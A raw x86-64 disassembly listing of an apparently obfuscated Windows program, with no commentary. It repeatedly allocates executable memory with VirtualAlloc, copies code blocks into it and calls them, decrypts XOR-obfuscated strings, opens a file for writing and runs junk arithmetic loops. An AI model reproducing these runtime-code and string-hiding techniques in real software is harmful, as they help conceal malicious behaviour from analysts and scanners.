movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140022660
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x70]
lea rcx, [0x1400015f0]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov dword [rsp + 0x148], 0x5dc
lea rcx, [rsp + 0x170]
call fcn.140002530
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002540
nop
mov ecx, esi
mov rax, qword [0x140041260]
lea rbx, [0x140027730]
test rax, rax
je 0x1400227b1
mov rdx, rsi
cmp rax, rbx
je 0x1400227a0
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x41260]
test rax, rax
jne 0x140022788
jmp 0x1400227b1
mov r8, qword [r15 + rdx*8 + 0x42ba0]
test r8, r8
jne 0x14002289f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400227da
mov r8, rsi
jmp 0x14002287e
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400227f0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400418a0]
mov qword [r15 + rax*8 + 0x41260], rbx
mov qword [r15 + rax*8 + 0x42ba0], r8
inc rax
mov qword [0x1400418a0], rax
lea rdx, [rsp + 0x148]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
lea rcx, [rsp + 0x170]
call fcn.140002530
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002540
nop
mov ecx, esi
mov rax, qword [0x1400408e0]
lea rbx, [0x1400278c0]
test rax, rax
je 0x140022939
mov rdx, rsi
cmp rax, rbx
je 0x140022928
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x408e0]
test rax, rax
jne 0x140022910
jmp 0x140022939
mov r8, qword [r15 + rdx*8 + 0x42ec0]
test r8, r8
jne 0x140022a1f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140022962
mov r8, rsi
jmp 0x1400229fe
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140022970
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140043b60]
mov qword [r15 + rax*8 + 0x408e0], rbx
mov qword [r15 + rax*8 + 0x42ec0], r8
inc rax
mov qword [0x140043b60], rax
lea rcx, [0x140009580]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
movups xmm0, xmmword [0x140036c10]
movups xmmword [rsp + 0x1b0], xmm0
movsd xmm0, qword [0x140036c20]
movsd qword [rsp + 0x1c0], xmm0
mov eax, dword [0x140036c28]
mov dword [rsp + 0x1c8], eax
movzx eax, byte [0x140036c2c]
mov byte [rsp + 0x1cc], al
mov r9d, esi
cmp edi, 2
jl 0x140022c3f
movdqa xmm0, xmmword [0x140037330]
movdqa xmmword [rsp + 0x160], xmm0
lea rcx, [rsp + 0x1b4]
mov edx, dword [rsp + 0x160]
nop dword [rax]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm13
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
psubd xmm4, xmm0
andps xmm4, xmm14
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x140022ac0
cmp r9d, 0x1d
jge 0x140022c9f
movsxd rax, r9d
lea r10, [rsp + 0x1b0]
add r10, rax
nop dword [rax]
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x77
mov eax, 0xb37072d7
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub cl, r8b
movzx eax, r9b
add al, al
add cl, 0x51
add cl, al
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1d
jl 0x140022c50
lea rax, [rsp + 0x1b0]
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x170]
call fcn.140002530
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002540
nop
mov ecx, esi
mov rax, qword [0x1400418b0]
test rax, rax
je 0x140022d09
mov rdx, rsi
cmp rax, r12
je 0x140022cf8
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x418b0]
test rax, rax
jne 0x140022ce0
jmp 0x140022d09
mov r8, qword [r15 + rdx*8 + 0x40280]
test r8, r8
jne 0x140022def
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140022d32
mov r8, rsi
jmp 0x140022dce
mov rax, r12
mov rcx, r8
mov rdx, r13
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140022d40
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140040c00]
mov qword [r15 + rax*8 + 0x418b0], r12
mov qword [r15 + rax*8 + 0x40280], r8
inc rax
mov qword [0x140040c00], rax
lea rdx, [rsp + 0x70]
lea rcx, [0x1400015f0]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
mov dword [rsp + 0x148], 0x1388
lea rcx, [rsp + 0x170]
call fcn.140002530
lea rdx, [rsp + 0x16d8]
lea rcx, [rsp + 0x170]
call fcn.140002540
nop
mov ecx, esi
mov rax, qword [0x140041260]
lea rbx, [0x140027730]
test rax, rax
je 0x140022e91
mov rdx, rsi
cmp rax, rbx
je 0x140022e80
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x41260]
test rax, rax
jne 0x140022e68
jmp 0x140022e91
mov r8, qword [r15 + rdx*8 + 0x42ba0]
test r8, r8
jne 0x140022f7f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140022eba
mov r8, rsi
jmp 0x140022f5e
mov rax, rbx
mov rcx, r8
mov rdx, r13
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140022ed0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1400418a0]
mov qword [r15 + rax*8 + 0x41260], rbx
mov qword [r15 + rax*8 + 0x42ba0], r8
inc rax
mov qword [0x1400418a0], rax
lea rdx, [rsp + 0x148]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rsp + 0x170]
xor rcx, qword [rsp + 0x178]
mov qword [rsp + 0x170], rcx
mov rax, qword [rsp + 0x180]
mov qword [rax], rcx
movups xmm0, xmmword [0x1400370f8]
movups xmmword [rsp + 0x90], xmm0
movups xmm1, xmmword [0x140037108]
movups xmmword [rsp + 0xa0], xmm1
movsd xmm0, qword [0x140037118]
movsd qword [rsp + 0xb0], xmm0
movzx eax, word [0x140037120]
mov word [rsp + 0xb8], ax
mov r9d, esi
cmp edi, 2
jl 0x1400231a3
movdqa xmm7, xmmword [0x140037300]
lea rcx, [rsp + 0x90]
nop
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm13
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140037360]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm15
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm7
paddw xmm3, xmm0
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm13
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm4, xmm0, 0xdd
psrad xmm4, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140037360]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movdqa xmm0, xmm4
psrld xmm0, 0x1f
paddd xmm0, xmm4
pmulld xmm0, xmm15
psubd xmm5, xmm0
pshufhw xmm0, xmm5, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm3, xmm2
movq xmm0, xmm7
paddw xmm3, xmm0
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r9d, 8
lea rcx, [rcx + 0x10]
cmp r9d, 0x10
jl 0x140023010
cmp r9d, 0x15
jge 0x140023215
movsxd rax, r9d
lea r10, [rsp + 0x90]
lea r10, [r10 + rax*2]
mov r11d, 0xff89
nop dword [rax + rax]
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul r8d, eax, 0x6b
mov eax, 0x44d72045
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx ecx, dx
imul ecx, r11d
sub cx, r8w
movzx eax, r9w
add ax, ax
add cx, 0x51
add cx, ax
xor word [r10], cx
inc r9d
lea r10, [r10 + 2]
cmp r9d, 0x15
jl 0x1400231c0
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r14, rax
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x280]
call fcn.140025220
mov dword [rsp + 0x148], 0xffffff9c
mov dword [rsp + 0x14c], 0x64
movups xmmword [rsp + 0x1d0], xmm9
mov dword [rsp + 0x40], esi
movsd qword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x190]
call fcn.140001660
mov qword [rsp + 0x70], 0x64
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x160]
call fcn.140027000
lea rcx, [rsp + 0x1b0]
call fcn.140002530
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x1b0], xmm1
mov qword [rsp + 0x1c0], rsi
lea rcx, [rsp + 0x60]
call fcn.140027020
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x60]
call fcn.1400250e0
lea rcx, [rsp + 0x70]
call fcn.140027070
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x70]
call fcn.1400250e0
lea rcx, [rsp + 0x190]
call fcn.1400270a0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x190]
call fcn.1400250e0
lea rcx, [rsp + 0x70]
call fcn.1400270d0
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x70]
call fcn.1400250e0
lea rcx, [rsp + 0x190]
call fcn.140027100
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x190]
call fcn.1400250e0
lea rcx, [rsp + 0x70]
call fcn.140027130
nop
mov rcx, qword [rax]
mov qword [rax], rsi
mov qword [rsp + 0x48], rcx
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1b0]
call fcn.140025120
nop
lea rcx, [rsp + 0x48]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x70]
call fcn.1400250e0
nop
lea rcx, [rsp + 0x70]
call fcn.140001660
mov rcx, rax
lea rdx, [rsp + 0x160]
call fcn.1400024d0
test al, al
jns 0x1400237aa
cmp esi, 0x186a0
jge 0x1400237a3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026f50
mov rbx, qword [rsp + 0x1b8]
sub rbx, qword [rsp + 0x1b0]
sar rbx, 3
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026f50
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0x1b0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026f50
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027160
movaps xmm5, xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027160
movaps xmm1, xmm5
call fcn.140002380
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027160
movaps xmm1, xmm8
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027160
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, [0x14003597c]
lea rcx, [rsp + 0x220]
call fcn.140026200
nop
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x220]
call fcn.1400022f0
lea rcx, [rsp + 0x170]
call fcn.140002530
lea rcx, [rsp + 0x170]
call fcn.1400252f0
nop
lea rax, [rsp + 0x148]
mov qword [rsp + 0x190], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x198], rax
movaps xmm0, xmmword [rsp + 0x190]
movdqa xmmword [rsp + 0x60], xmm0
lea r8, [rsp + 0x60]
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x170]
call fcn.1400271f0
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x170]
call fcn.140002400
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x170]
call fcn.140027250
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026f50
mov ebx, eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026f50
mov r8d, ebx
mov edx, eax
call fcn.140002500
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
test al, 1
jne 0x1400236c1
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x1400236d0
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 5
xor ebx, ebx
nop word [rax + rax]
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x148]
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x280]
lea rcx, [rsp + 0x1d0]
call fcn.140027160
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x280]
test bl, 1
jne 0x14002374b
lea rcx, [rsp + 0x148]
call fcn.140026f50
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14002376c
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0x1d0]
call fcn.140027160
addsd xmm0, xmm6
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x1400236e0
sub rdi, 1
jne 0x1400236d5
lea rcx, [rsp + 0x170]
call fcn.140025290
nop
lea rcx, [rsp + 0x220]
call fcn.1400261a0
inc esi
jmp 0x140023472
xor esi, esi
jmp 0x140023450
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0x1b0]
call fcn.140025150
lea rcx, [rsp + 0x200]
call fcn.140025fc0
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400237d0
lea rcx, [rsp + 0x200]
call fcn.140025fc0
mov qword [rsp + 0x20], rsi
lea r9, [rsp + 0x150]
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, dword [0x14003f090]
test eax, eax
jne 0x140023ba6
movsd xmm0, qword [0x140036568]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x140036570]
mov dword [rsp + 0x78], eax
cmp byte [0x140036573], 0
je 0x140023a1f
mov r9d, esi
cmp edi, 2
jl 0x1400239b7
movdqa xmm2, xmm13
punpckldq xmm2, xmm13
movdqa xmm1, xmm13
punpckhdq xmm1, xmm13
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140037360]
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
mov eax, dword [0x140037330]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140036568]
xorps xmm2, xmm0
movd dword [rsp + 0x70], xmm2
movdqa xmm5, xmmword [0x1400372d0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm3, xmm2
pmuldq xmm3, xmm11
movdqa xmm0, xmm1
pmuldq xmm0, xmm11
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm12
pmuldq xmm1, xmm12
shufps xmm2, xmm1, 0xdd
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140037360]
movdqa xmm2, xmm5
psubd xmm2, xmm0
andps xmm2, xmm14
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm15
movdqa xmm1, xmm5
psubd xmm1, xmm0
andps xmm1, xmm14
packuswb xmm1, xmm1
packuswb xmm1, xmm1
